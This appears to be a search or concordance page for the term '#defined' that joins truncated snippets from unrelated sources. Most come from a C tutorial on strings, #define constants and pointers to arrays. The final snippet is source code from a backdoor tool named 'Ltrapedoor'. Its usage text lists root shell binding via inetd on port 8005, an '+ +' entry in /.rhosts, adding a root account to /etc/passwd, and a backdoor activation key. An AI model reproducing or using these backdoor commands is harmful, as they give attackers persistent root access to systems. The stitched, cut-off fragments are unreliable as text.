#defined

... ce '\0' . That is it occupies one byte of memory. NULL, on the other hand, is the name of the macro used to initialize null pointers. NULL is #defined in a header file in your C compiler, nul may not be #defined at all. Since writing the above code would be very time consuming, C permits two alternate ways of achieving the same thing. First, one might write: char my_string[40] = {'T', 'e', 'd', '\0',}; But this also takes more typing than is convenient. So, C permits: char my_string[40] = "Ted"; When the double quotes are used, instead of the single quotes as was done in the previous examples, the nul character ...

... col++) { m_array[row][col] = 1; } } } And to call this function we would then use: set_value(multi); Now, within the function we have used the values #defined by ROWS and COLS that set the limits on the for loops. But, these #defines are just constants as far as the compiler is concerned, i.e. there is nothing to connect them to the array size within the function. row and col are local variables, of course. The formal parameter definition permits the compiler to determine the characteristics associated with the pointer value that will be passed at run time. We really don’t need the first dimension and, as will be seen later, there are occasions where ...

... in METHOD 1 above, and we need not use the typedef keyword. Here xptr is a pointer to an array of integers and the size of that array is given by the #defined COLS . The parenthesis placement makes the pointer notation predominate, even though the array notation has higher precedence. i.e. had we written int *xptr[COLS]; we would have defined xptr as an array of pointers holding the number of pointers equal to that #defined by COLS. That is not the same thing at all. However, arrays of pointers have their use in the dynamic allocation of two dimensional arrays, as will be seen in the next 2 methods. METHOD 3: Consider the case where we do not know th ...

... har data[8000]; } buffer; int size; void usage(void){ printf("\n >> Ltrapedoor by Li0n7 \n\n"); printf(" ..: lil' Options :.. \n\n"); printf(" -h<#defined pass>: must be set as first argument\n"); printf(" -i: echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind\n"); printf(" -r: echo + + >> /.rhosts\n"); printf(" -p<user>: echo user::0:0:user:/root:/bash >> /etc/passwd\n"); printf(" -c<cle>: backdoor activation key (integer type)\n Notice that: udp = 2; tcp = 0; tcp = 1 \n"); printf(" -f: weird mode, uses weird packets\n to communicate with the server \n"); printf(" -d: ip addressing mode, define ip->sa ...